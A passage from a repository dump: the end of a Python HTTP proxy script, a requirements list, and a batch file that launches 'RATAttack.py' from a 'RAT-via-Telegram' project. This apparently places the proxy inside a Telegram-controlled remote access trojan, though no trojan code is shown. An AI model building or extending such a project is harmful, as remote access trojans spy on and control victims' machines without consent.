buffer') self.server.flush() def _process_rlist(self, r): if self.client.conn in r: logger.debug('client is ready for reads, reading') data = self.client.recv() self.last_activity = self._now() if not data: logger.debug('client closed connection, breaking') return True try: self._process_request(data) except ProxyConnectionFailed as e: logger.exception(e) self.client.queue(CRLF.join([ b'HTTP/1.1 502 Bad Gateway', b'Proxy-agent: proxy.py v' + version, b'Content-Length: 11', b'Connection: close', CRLF ]) + b'Bad Gateway') self.client.flush() return True if self.server and not self.server.closed and self.server.conn in r: logger.debug('server is ready for reads, reading') data = self.server.recv() self.last_activity = self._now() if not data: logger.debug('server closed connection') self.server.close() else: self._process_response(data) return False def _process(self): while True: rlist, wlist, xlist = self._get_waitable_lists() r, w, x = select.select(rlist, wlist, xlist, 1) self._process_wlist(w) if self._process_rlist(r): break if self.client.buffer_size() == 0: if self.response.state == HTTP_PARSER_STATE_COMPLETE: logger.debug('client buffer is empty and response state is complete, breaking') break if self._is_inactive(): logger.debug('client buffer is empty and maximum inactivity has reached, breaking') break def run(self): logger.debug('Proxying connection %r at address %r' % (self.client.conn, self.client.addr)) try: self._process() except KeyboardInterrupt: pass except Exception as e: logger.exception('Exception while handling connection %r with reason %r' % (self.client.conn, e)) finally: logger.debug("closing client connection with pending client buffer size %d bytes" % self.client.buffer_size()) self.client.close() if self.server: logger.debug("closed client connection with pending server buffer size %d bytes" % self.server.buffer_size()) self._access_log() logger.debug('Closing proxy for connection %r at address %r' % (self.client.conn, self.client.addr)) class TCP(object): """TCP server implementation.""" def __init__(self, hostname='127.0.0.1', port=8899, backlog=100): self.hostname = hostname self.port = port self.backlog = backlog def handle(self, client): raise NotImplementedError() def run(self): try: logger.info('Starting server on port %d' % self.port) self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.hostname, self.port)) self.socket.listen(self.backlog) while True: conn, addr = self.socket.accept() logger.debug('Accepted connection %r at address %r' % (conn, addr)) client = Client(conn, addr) self.handle(client) except Exception as e: logger.exception('Exception while running the server %r' % e) finally: logger.info('Closing server socket') self.socket.close() class HTTP(TCP): """HTTP proxy server implementation. Spawns new process to proxy accepted client connection. """ def handle(self, client): proc = Proxy(client) proc.daemon = True proc.start() logger.debug('Started process %r to handle connection %r' % (proc, client.conn)) def main(): parser = argparse.ArgumentParser( description='proxy.py v%s' % __version__, epilog='Having difficulty using proxy.py? Report at: %s/issues/new' % __homepage__ ) parser.add_argument('--hostname', default='0.0.0.0', help='Default: 127.0.0.1') parser.add_argument('--port', default='8081', help='Default: 8081') parser.add_argument('--log-level', default='INFO', help='DEBUG, INFO, WARNING, ERROR, CRITICAL') args = parser.parse_args() logging.basicConfig(level=getattr(logging, args.log_level), format='%(asctime)s - %(levelname)s - pid:%(process)d - %(message)s') hostname = args.hostname port = int(args.port) try: proxy = HTTP(hostname, port) proxy.run() except KeyboardInterrupt: pass if __name__ == '__main__': main() ================================================ FILE: requirements.txt ================================================ telepot requests winshell tendo pypiwin32 pillow pyinstaller pyaudio ================================================ FILE: run.bat ================================================ C:/Python27/python.exe "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py"